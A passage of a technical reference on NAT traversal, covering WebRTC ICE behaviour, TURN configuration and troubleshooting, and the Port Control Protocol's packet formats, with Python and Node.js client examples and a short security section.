      }
    }, 5000);
  } else if (peerConnection.iceConnectionState === 'connected') {
    clearTimeout(disconnectTimeout);
  }
};

ICE Lite:
- Only responds to checks (doesn't initiate)
- Only gathers host candidates
- Simpler implementation
- Used by servers (not browsers)

Standard ICE vs ICE Lite:

Standard ICE (Full Agent):
- Gathers all candidate types
- Sends connectivity checks
- Can be controlling or controlled
- Used by clients

ICE Lite:
- Only host candidates
- Only responds to checks
- Always controlled role
- Used by servers

Example: Media server
- Server uses ICE Lite
- Client uses full ICE
- Client initiates all checks
- Server just responds

Purpose:
- Verify peer still wants to receive
- Detect path changes
- Prevent unwanted traffic

Process:
1. Every 5 seconds, send STUN Binding Request
2. Peer responds with Binding Response
3. If no response for 30 seconds → disconnected

STUN Binding Request:
- From selected local candidate
- To selected remote candidate
- Authenticated (MESSAGE-INTEGRITY)

Failure:
- 30 seconds without response
- ICE state → disconnected
- May trigger ICE restart

Automatic in WebRTC:
- Browser handles automatically
- No manual intervention needed

Regular Nomination:
1. Check all pairs
2. Wait for all checks to complete
3. Nominate best pair
   Time: Slow but optimal

Aggressive Nomination:
1. Check pairs in priority order
2. Nominate first working pair immediately
3. Continue checking in background
   Time: Fast but may not be optimal

Trade-off:
- Aggressive: Faster connection, may not be best path
- Regular: Slower connection, guaranteed best path

Most WebRTC implementations use regular nomination
for better quality.

// Log all candidates
peerConnection.onicecandidate = (event) => {
  if (event.candidate) {
    const candidate = event.candidate.candidate;
    console.log('Candidate:', candidate);

    // Parse candidate
    const parts = candidate.split(' ');
    const parsed = {
      foundation: parts[0].split(':')[1],
      component: parts[1],
      protocol: parts[2],
      priority: parts[3],
      ip: parts[4],
      port: parts[5],
      type: parts[7],
      relAddr: parts[9],
      relPort: parts[11]
    };

    console.log('Parsed:', parsed);

    // Identify issues
    if (parsed.type === 'relay') {
      console.warn('Using TURN relay (may indicate NAT/firewall issues)');
    }
    if (parsed.protocol === 'tcp') {
      console.warn('Using TCP (UDP may be blocked)');
    }
  }
};

// Monitor selected pair
async function getSelectedPair(peerConnection) {
  const stats = await peerConnection.getStats();

  stats.forEach(report => {
    if (report.type === 'candidate-pair' && report.state === 'succeeded') {
      console.log('Selected pair:');
      console.log('  Local:', report.localCandidateId);
      console.log('  Remote:', report.remoteCandidateId);
      console.log('  State:', report.state);
      console.log('  Priority:', report.priority);
      console.log('  RTT:', report.currentRoundTripTime);
      console.log('  Bytes sent:', report.bytesSent);
      console.log('  Bytes received:', report.bytesReceived);
    }
  });
}

// Check every second
setInterval(() => getSelectedPair(peerConnection), 1000);

Issue: No candidates gathered
Cause: Missing or incorrect STUN/TURN config
Solution: Verify iceServers configuration

Issue: Only relay candidates
Cause: Restrictive firewall blocks UDP
Solution:
- Enable UDP ports
- Use TURN with TCP
- Check firewall rules

Issue: Connectivity checks fail
Cause: Firewall blocks STUN packets
Solution:
- Allow UDP 3478 (STUN)
- Allow UDP 49152-65535 (RTP)
- Use TURN as fallback

Issue: Connection works then fails
Cause: NAT binding timeout
Solution:
- Shorter keep-alive interval
- Use consent freshness
- ICE restart on failure

Issue: High latency
Cause: Using TURN relay when direct possible
Solution:
- Verify STUN server reachable
- Check NAT type (symmetric NAT requires TURN)
- Verify candidate priorities

Issue: One-way media
Cause: Asymmetric connectivity
Solution:
- Check firewall rules both directions
- Verify both peers send candidates
- Use TURN if necessary

# Test STUN server
stunclient stun.l.google.com 19302

# Output shows:
# - Your public IP
# - NAT type
# - Whether server is reachable

# Test TURN server
turnutils_uclient -v -u username -w password \
  turn.example.com

# Test with ICE
# Browser: chrome://webrtc-internals
# - View all ICE candidates
# - See connectivity checks
# - Monitor selected pair

# Command-line ICE test
npm install -g wrtc-ice-tester
wrtc-ice-tester --stun stun:stun.l.google.com:19302

# Network debugging
tcpdump -i any -n udp port 3478 or portrange 49152-65535

# WebRTC test page
https://test.webrtc.org/

// Minimal config (STUN only)
const config = {
  iceServers: [
    { urls: 'stun:stun.l.google.com:19302' }
  ]
};

// With TURN fallback
const config = {
  iceServers: [
    { urls: 'stun:stun.l.google.com:19302' },
    {
      urls: 'turn:turn.example.com:3478',
      username: 'user',
      credential: 'pass'
    }
  ]
};

// Production config (redundancy)
const config = {
  iceServers: [
    // Multiple STUN servers
    { urls: 'stun:stun1.example.com:3478' },
    { urls: 'stun:stun2.example.com:3478' },

    // TURN with TCP fallback
    {
      urls: [
        'turn:turn.example.com:3478',           // UDP
        'turn:turn.example.com:3478?transport=tcp', // TCP
        'turns:turn.example.com:5349'           // TLS
      ],
      username: 'user',
      credential: 'pass'
    }
  ],
  iceCandidatePoolSize: 10,
  iceTransportPolicy: 'all' // Try everything
};

// Get temporary TURN credentials from your server
async function getTurnCredentials() {
  const response = await fetch('/api/turn-credentials', {
    headers: { 'Authorization': 'Bearer ' + token }
  });

  return await response.json();
  /*
  Returns:
  {
    urls: ['turn:turn.example.com:3478'],
    username: 'temporary-user-12345',
    credential: 'temporary-password',
    ttl: 86400  // 24 hours
  }
  */
}

// Use dynamic credentials
const turnCreds = await getTurnCredentials();

const config = {
  iceServers: [
    { urls: 'stun:stun.example.com:3478' },
    {
      urls: turnCreds.urls,
      username: turnCreds.username,
      credential: turnCreds.credential,
      credentialType: 'password'
    }
  ]
};

const pc = new RTCPeerConnection(config);

// Node.js server
const crypto = require('crypto');

function generateTurnCredentials(username, secret, ttl = 86400) {
  const timestamp = Math.floor(Date.now() / 1000) + ttl;
  const turnUsername = `${timestamp}:${username}`;

  const hmac = crypto.createHmac('sha1', secret);
  hmac.update(turnUsername);
  const turnPassword = hmac.digest('base64');

  return {
    urls: [
      'turn:turn.example.com:3478',
      'turn:turn.example.com:3478?transport=tcp',
      'turns:turn.example.com:5349'
    ],
    username: turnUsername,
    credential: turnPassword,
    ttl: ttl
  };
}

// API endpoint
app.get('/api/turn-credentials', authenticate, (req, res) => {
  const credentials = generateTurnCredentials(
    req.user.id,
    process.env.TURN_SECRET,
    86400  // 24 hours
  );

  res.json(credentials);
});

// 1. Pre-gather candidates
const pc = new RTCPeerConnection({
  iceServers: [...],
  iceCandidatePoolSize: 10  // Pre-allocate TURN
});

// 2. Use trickle ICE (send candidates immediately)
pc.onicecandidate = (event) => {
  if (event.candidate) {
    signaling.send({ type: 'candidate', candidate: event.candidate });
  }
};

// 3. Start gathering early
await pc.setLocalDescription(await pc.createOffer());

// 4. Use multiple STUN servers (parallel queries)
const config = {
  iceServers: [
    { urls: 'stun:stun1.example.com:3478' },
    { urls: 'stun:stun2.example.com:3478' },
    { urls: 'stun:stun3.example.com:3478' }
  ]
};

// 5. Close old connection before creating new one
if (oldPeerConnection) {
  oldPeerConnection.close();
}

// Typical connection time:
// - LAN: 100-500ms
// - Internet (NAT): 1-3 seconds
// - TURN relay: 2-5 seconds

TURN Relay Bandwidth:

Scenario: 10 users in video call, all using TURN

Without TURN (P2P mesh):
Each user sends to 9 others directly
Total: 10 × 9 = 90 connections
User bandwidth: 9 video streams (upload + download)

With TURN relay:
Each user → TURN server → other users
Total: 10 × 9 through TURN
TURN bandwidth: 90 video streams
User bandwidth: Same (9 streams)

TURN costs:
- P2P: No relay bandwidth
- TURN: All traffic through server
- Solution: Use TURN only when necessary

Check if using TURN:
const stats = await pc.getStats();
stats.forEach(report => {
  if (report.type === 'local-candidate' &&
      report.candidateType === 'relay') {
    console.warn('Using TURN relay!');
  }
});

NAT Types (restrictiveness):

1. No NAT
   ✓ Direct connection
   Success rate: 100%

2. Full Cone NAT
   ✓ Any external host can connect
   Success rate: 100%

3. Restricted Cone NAT
   ✓ Can connect after outbound packet
   Success rate: 95%

4. Port Restricted Cone NAT
   ✓ Can connect after outbound to specific port
   Success rate: 90%

5. Symmetric NAT
   ✗ Different port for each destination
   Needs TURN relay
   Success rate: 100% (with TURN)

Connection Matrix:

                 Peer B
              Full  Restricted  Symmetric
Peer A
Full          ✓     ✓           ✓*
Restricted    ✓     ✓           ✓*
Symmetric     ✓*    ✓*          ✗ (need TURN)

✓ = Direct connection (STUN sufficient)
✓* = May need TURN
✗ = Requires TURN relay

You: Inside your house (private network)
Friend: Inside their house (private network)

Can't call directly:
- You don't know their full address
- Their house blocks unknown callers
- Your house blocks incoming calls

1. Find All Your Phone Numbers
   - Room extension (host): 101
   - House number (srflx): (555) 123-4567
   - Call-forwarding service (relay): (555) 999-0000

2. Share Numbers
   - You send your 3 numbers to friend
   - Friend sends their 3 numbers to you

3. Try All Combinations (9 attempts)
   Your 101 → Their 101 (works if same house)
   Your 101 → Their (555) 234-5678 (fails)
   Your (555) 123-4567 → Their (555) 234-5678 (works!)
   ... etc

4. Use Best Connection
   - Direct if possible (faster, cheaper)
   - Through forwarding if necessary (works always)

5. Keep Checking
   - "Are you still there?"
   - If no answer, try again

House = Private network
House number = Public IP (STUN)
Call forwarding = Relay (TURN)
Trying combinations = Connectivity checks
Best connection = Selected candidate pair

Protocol: UDP
Port: 5351
RFC: 6887 (2013)
Predecessor: NAT-PMP (RFC 6886)

Features:
✓ Port mapping (like NAT-PMP)
✓ Firewall control
✓ IPv4 and IPv6 support
✓ Explicit lifetime management
✓ Multiple NATs/firewalls
✓ Third-party port mapping
✓ Failure detection
✓ Security improvements

Traditional Approach:
1. User logs into router web interface
2. Manually configures port forwarding
3. Must remember to remove when done
4. Doesn't work with multiple NATs
5. Requires user intervention

Problems:
- Not suitable for applications
- Doesn't scale
- Security risk (ports left open)
- Complex for users

Automated Approach:
1. Application requests port mapping via PCP
2. Router automatically configures forwarding
3. Mapping has lifetime (auto-expires)
4. Application can renew or delete
5. Works with cascaded NATs

Benefits:
✓ Fully automated
✓ Application-controlled
✓ Time-limited (secure)
✓ Works across multiple NATs
✓ Standardized protocol

Feature               PCP        UPnP-IGD    NAT-PMP
Protocol              UDP        HTTP/SOAP   UDP
Complexity            Medium     High        Low
IPv6 Support          Yes        Partial     No
Multiple NATs         Yes        No          No
Explicit Lifetime     Yes        No          Yes
Firewall Control      Yes        No          No
Third-party Mapping   Yes        No          No
Security              Good       Weak        Basic
Standardization       IETF RFC   UPnP Forum  IETF RFC

Use PCP when:
- Need IPv6 support
- Multiple NATs in path
- Firewall control needed
- Modern deployment

Use NAT-PMP when:
- Simple IPv4 NAT
- Apple ecosystem
- Lightweight solution

Use UPnP when:
- Legacy device support
- Already deployed
- Complex scenarios

┌─────────────────────────────────────────────────────────────┐
│                      Internet                                │
└─────────────────┬───────────────────────────────────────────┘
                  │
         ┌────────▼────────┐
         │  ISP Router     │
         │  (PCP Server)   │
         └────────┬────────┘
                  │
         ┌────────▼────────┐
         │  Home Router    │
         │  (PCP Server)   │ ← Responds to PCP requests
         └────────┬────────┘
                  │
         ┌────────▼────────┐
         │  PCP Client     │ ← Sends PCP requests
         │  (Application)  │
         └─────────────────┘

Flow:
1. Client sends PCP request to server
2. Server creates/modifies mapping
3. Server responds with mapping details
4. Client maintains mapping with renewals
5. Mapping expires or client deletes it

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Version = 2  |R|   Opcode    |         Reserved              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 Requested Lifetime (seconds)                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|            PCP Client's IP Address (128 bits)                 |
|                                                               |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
:                       Opcode-specific data                    :
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
:                       PCP Options (optional)                  :
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Fields:

Version (8 bits): Protocol version (2)
R (1 bit): 0 for request, 1 for response
Opcode (7 bits):
  - 0: ANNOUNCE
  - 1: MAP
  - 2: PEER
Reserved (16 bits): Must be 0
Requested Lifetime (32 bits): Seconds (0 = delete)
PCP Client IP (128 bits): Client's IP address
  - IPv4: ::ffff:a.b.c.d (IPv4-mapped)
  - IPv6: Full 128-bit address

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Version = 2  |R|   Opcode    |   Reserved    | Result Code   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Lifetime (seconds)                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     Epoch Time (seconds)                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Reserved (96 bits)                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
:                       Opcode-specific data                    :
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
:                       PCP Options (optional)                  :
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Result Code:
0: SUCCESS
1: UNSUPP_VERSION
2: NOT_AUTHORIZED
3: MALFORMED_REQUEST
4: UNSUPP_OPCODE
5: UNSUPP_OPTION
6: MALFORMED_OPTION
7: NETWORK_FAILURE
8: NO_RESOURCES
9: UNSUPP_PROTOCOL
10: USER_EX_QUOTA
11: CANNOT_PROVIDE_EXTERNAL
12: ADDRESS_MISMATCH
13: EXCESSIVE_REMOTE_PEERS

Epoch Time:
- Seconds since PCP server started
- Used to detect server reboots
- Client must refresh mappings if changed

MAP Request (after common header):

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Mapping Nonce                         |
|                         (96 bits)                             |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   Protocol    |          Reserved (24 bits)                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        Internal Port          |  Suggested External Port      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|           Suggested External IP Address (128 bits)            |
|                                                               |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Mapping Nonce:
- Random value to match request/response
- Prevents off-path attacks

Protocol:
- 6 = TCP
- 17 = UDP
- 0 = All protocols

Internal Port:
- Port on PCP client

Suggested External Port:
- Preferred external port
- 0 = server chooses

Suggested External IP:
- Preferred external IP
- 0 = server chooses

MAP Response (after common header):

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Mapping Nonce                         |
|                         (96 bits)                             |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   Protocol    |          Reserved (24 bits)                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        Internal Port          |    Assigned External Port     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|           Assigned External IP Address (128 bits)             |
|                                                               |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Server assigns:
- External port (may differ from suggested)
- External IP address
- Lifetime for mapping

PEER Request (after common header):

Similar to MAP, but includes remote peer address:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Mapping Nonce                         |
|                         (96 bits)                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   Protocol    |          Reserved (24 bits)                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        Internal Port          |  Suggested External Port      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|           Suggested External IP Address (128 bits)            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       Remote Peer Port        |     Reserved (16 bits)        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|              Remote Peer IP Address (128 bits)                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Remote Peer Port:
- Port on remote peer

Remote Peer IP:
- IP address of remote peer

Use cases:
- P2P applications
- WebRTC
- VoIP
- Gaming

Used by client to discover mappings after:
- Client restart
- Network change
- Epoch time mismatch

Server responds with all active mappings for client

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Option Code=1|  Reserved     |   Option Length=16            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|                Internal IP Address (128 bits)                 |
|                                                               |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Use case:
- NAT gateway requests mapping for internal host
- Application server requests for clients
- Proxy services

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Option Code=2|  Reserved     |   Option Length=0             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

With this option:
- Server must honor requested port/IP exactly
- Or return error
- No substitutions allowed

Without this option:
- Server can assign different port/IP
- Client should accept

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Option Code=3|  Reserved     |   Option Length=20            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    Reserved   | Prefix Length |       Remote Peer Port        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|              Remote Peer IP Address (128 bits)                |
|                                                               |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Prefix Length:
- 0 = Allow all
- 1-128 = IP prefix match

Use case:
- Restrict mapping to specific source
- Security filtering
- Allow only known peers

import socket
import struct
import random
import time

class PCPClient:
    PCP_VERSION = 2
    PCP_SERVER_PORT = 5351
    OPCODE_MAP = 1
    OPCODE_PEER = 2

    def __init__(self, server_ip):
        self.server_ip = server_ip
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.settimeout(3)

    def create_mapping(self, internal_port, external_port=0,
                      protocol=6, lifetime=3600):
        """
        Create a port mapping.

        Args:
            internal_port: Port on client
            external_port: Suggested external port (0 = any)
            protocol: 6=TCP, 17=UDP
            lifetime: Mapping lifetime in seconds

        Returns:
            (external_ip, external_port, lifetime)
        """
        # Generate random nonce
        nonce = random.randint(0, 2**96 - 1)

        # Build request
        request = self._build_map_request(
            nonce, protocol, internal_port,
            external_port, lifetime
        )

        # Send request
        self.sock.sendto(request, (self.server_ip, self.PCP_SERVER_PORT))

        try:
            # Receive response
            response, addr = self.sock.recvfrom(1024)
            return self._parse_map_response(response, nonce)
        except socket.timeout:
            raise Exception("PCP request timeout")

    def delete_mapping(self, internal_port, protocol=6):
        """Delete a mapping by setting lifetime to 0."""
        return self.create_mapping(
            internal_port,
            protocol=protocol,
            lifetime=0
        )

    def _build_map_request(self, nonce, protocol, internal_port,
                          external_port, lifetime):
        """Build MAP request packet."""
        # Common header
        version_r_opcode = (self.PCP_VERSION << 8) | self.OPCODE_MAP
        reserved = 0

        # Client IP (IPv4-mapped IPv6)
        client_ip = self._get_client_ip()
        client_ip_bytes = self._ipv4_to_ipv6_mapped(client_ip)

        # MAP opcode data
        nonce_bytes = nonce.to_bytes(12, 'big')
        protocol_byte = protocol
        reserved_24 = 0
        internal_port_field = internal_port
        external_port_field = external_port
        external_ip_bytes = bytes(16)  # All zeros = any

        # Pack request
        request = struct.pack(
            '!HHI',
            version_r_opcode,
            reserved,
            lifetime
        )
        request += client_ip_bytes
        request += nonce_bytes
        request += struct.pack(
            '!BxxxHH',
            protocol_byte,
            internal_port_field,
            external_port_field
        )
        request += external_ip_bytes

        return request

    def _parse_map_response(self, response, expected_nonce):
        """Parse MAP response packet."""
        # Parse common header
        version_r_opcode, reserved_result, lifetime, epoch = \
            struct.unpack('!HHII', response[:12])

        # Extract result code
        result = reserved_result & 0xFF

        if result != 0:
            raise Exception(f"PCP error: result code {result}")

        # Skip reserved bytes
        offset = 12 + 12  # Header + reserved

        # Parse MAP response data
        nonce_bytes = response[offset:offset+12]
        nonce = int.from_bytes(nonce_bytes, 'big')

        if nonce != expected_nonce:
            raise Exception("Nonce mismatch")

        offset += 12

        protocol, internal_port, external_port = \
            struct.unpack('!BxxxHH', response[offset:offset+8])

        offset += 8

        external_ip_bytes = response[offset:offset+16]
        external_ip = self._ipv6_mapped_to_ipv4(external_ip_bytes)

        return (external_ip, external_port, lifetime)

    def _get_client_ip(self):
        """Get client's local IP address."""
        # Connect to PCP server to determine local IP
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect((self.server_ip, self.PCP_SERVER_PORT))
            return s.getsockname()[0]
        finally:
            s.close()

    def _ipv4_to_ipv6_mapped(self, ipv4):
        """Convert IPv4 address to IPv4-mapped IPv6."""
        parts = [int(p) for p in ipv4.split('.')]
        # ::ffff:a.b.c.d
        return bytes([0]*10 + [0xff, 0xff] + parts)

    def _ipv6_mapped_to_ipv4(self, ipv6_bytes):
        """Convert IPv4-mapped IPv6 to IPv4."""
        if ipv6_bytes[:12] == bytes([0]*10 + [0xff, 0xff]):
            # IPv4-mapped
            return '.'.join(str(b) for b in ipv6_bytes[12:])
        else:
            # Full IPv6 - return as string
            parts = struct.unpack('!8H', ipv6_bytes)
            return ':'.join(f'{p:x}' for p in parts)

    def close(self):
        self.sock.close()

# Usage example
if __name__ == '__main__':
    # Find PCP server (usually gateway)
    gateway = '192.168.1.1'

    client = PCPClient(gateway)

    try:
        # Create mapping for local port 8080
        external_ip, external_port, lifetime = \
            client.create_mapping(
                internal_port=8080,
                external_port=8080,  # Suggest same port
                protocol=6,          # TCP
                lifetime=3600        # 1 hour
            )

        print(f"Mapping created:")
        print(f"  External: {external_ip}:{external_port}")
        print(f"  Internal: localhost:8080")
        print(f"  Lifetime: {lifetime} seconds")

        # Keep mapping alive
        print("\nMapping active. Press Ctrl+C to delete...")
        try:
            while True:
                # Renew every 30 minutes
                time.sleep(1800)
                external_ip, external_port, lifetime = \
                    client.create_mapping(8080, protocol=6, lifetime=3600)
                print(f"Mapping renewed: {lifetime}s remaining")
        except KeyboardInterrupt:
            pass

        # Delete mapping
        print("\nDeleting mapping...")
        client.delete_mapping(8080)
        print("Mapping deleted")

    finally:
        client.close()

const dgram = require('dgram');
const crypto = require('crypto');

class PCPClient {
  constructor(serverIP) {
    this.serverIP = serverIP;
    this.serverPort = 5351;
    this.socket = dgram.createSocket('udp4');
    this.PCP_VERSION = 2;
    this.OPCODE_MAP = 1;
  }

  async createMapping(internalPort, externalPort = 0, protocol = 6, lifetime = 3600) {
    const nonce = crypto.randomBytes(12);

    const request = this.buildMapRequest(
      nonce,
      protocol,
      internalPort,
      externalPort,
      lifetime
    );

    return new Promise((resolve, reject) => {
      const timeout = setTimeout(() => {
        reject(new Error('PCP request timeout'));
      }, 3000);

      this.socket.once('message', (response) => {
        clearTimeout(timeout);
        try {
          const result = this.parseMapResponse(response, nonce);
          resolve(result);
        } catch (error) {
          reject(error);
        }
      });

      this.socket.send(request, this.serverPort, this.serverIP);
    });
  }

  buildMapRequest(nonce, protocol, internalPort, externalPort, lifetime) {
    const buffer = Buffer.alloc(60);
    let offset = 0;

    // Version and opcode
    buffer.writeUInt8(this.PCP_VERSION, offset++);
    buffer.writeUInt8(this.OPCODE_MAP, offset++);

    // Reserved
    buffer.writeUInt16BE(0, offset);
    offset += 2;

    // Lifetime
    buffer.writeUInt32BE(lifetime, offset);
    offset += 4;

    // Client IP (IPv4-mapped)
    buffer.fill(0, offset, offset + 10);
    offset += 10;
    buffer.writeUInt16BE(0xffff, offset);
    offset += 2;
    // Would write actual IP here
    offset += 4;

    // Nonce
    nonce.copy(buffer, offset);
    offset += 12;

    // Protocol
    buffer.writeUInt8(protocol, offset);
    offset += 4; // 1 byte + 3 reserved

    // Ports
    buffer.writeUInt16BE(internalPort, offset);
    offset += 2;
    buffer.writeUInt16BE(externalPort, offset);
    offset += 2;

    // External IP (all zeros = any)
    buffer.fill(0, offset, offset + 16);

    return buffer;
  }

  parseMapResponse(response, expectedNonce) {
    let offset = 0;

    // Parse header
    const version = response.readUInt8(offset++);
    const opcode = response.readUInt8(offset++) & 0x7f;
    const reserved = response.readUInt8(offset++);
    const result = response.readUInt8(offset++);
    const lifetime = response.readUInt32BE(offset);
    offset += 4;

    if (result !== 0) {
      throw new Error(`PCP error: result code ${result}`);
    }

    // Skip epoch and reserved
    offset += 16;

    // Check nonce
    const nonce = response.slice(offset, offset + 12);
    if (!nonce.equals(expectedNonce)) {
      throw new Error('Nonce mismatch');
    }
    offset += 12;

    // Parse MAP data
    const protocol = response.readUInt8(offset);
    offset += 4; // 1 byte + 3 reserved

    const internalPort = response.readUInt16BE(offset);
    offset += 2;
    const externalPort = response.readUInt16BE(offset);
    offset += 2;

    // External IP
    const externalIP = this.parseIP(response.slice(offset, offset + 16));

    return { externalIP, externalPort, lifetime };
  }

  parseIP(buffer) {
    // Check if IPv4-mapped
    if (buffer.slice(0, 12).equals(Buffer.from([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xff]))) {
      return `${buffer[12]}.${buffer[13]}.${buffer[14]}.${buffer[15]}`;
    }
    // IPv6
    const parts = [];
    for (let i = 0; i < 16; i += 2) {
      parts.push(buffer.readUInt16BE(i).toString(16));
    }
    return parts.join(':');
  }

  close() {
    this.socket.close();
  }
}

// Usage
const client = new PCPClient('192.168.1.1');

client.createMapping(8080, 8080, 6, 3600)
  .then(result => {
    console.log('Mapping created:');
    console.log(`  External: ${result.externalIP}:${result.externalPort}`);
    console.log(`  Lifetime: ${result.lifetime}s`);
  })
  .catch(error => {
    console.error('Error:', error.message);
  })
  .finally(() => {
    client.close();
  });

Methods to find PCP server:

1. DHCP Option
   - Option 128 (DHCPv4)
   - Option 86 (DHCPv6)
   - Contains PCP server IP address

2. Default Gateway
   - Try gateway address first
   - Most common case

3. Well-Known Anycast Address
   - IPv4: (none defined)
   - IPv6: (none defined yet)

4. Manual Configuration
   - User configures PCP server
   - For complex networks

Discovery process:
1. Check DHCP options
2. Try default gateway
3. Try manual config
4. Give up (no PCP available)

Authentication:
- PCP has no built-in authentication
- Relies on network trust
- Server trusts requests from local network

Threats:
1. Unauthorized mappings
   - Malware opens ports
   - Mitigation: Firewall rules on server

2. Mapping hijacking
   - Another host modifies mapping
   - Mitigation: Nonce verification

3. Denial of service
   - Exhaust mapping resources
   - Mitigation: Per-client quotas

4. Information disclosure
   - Reveal internal topology
   - Mitigation: Restrict query responses

Best practices:
- Deploy PCP-aware firewall
- Monitor mapping activity
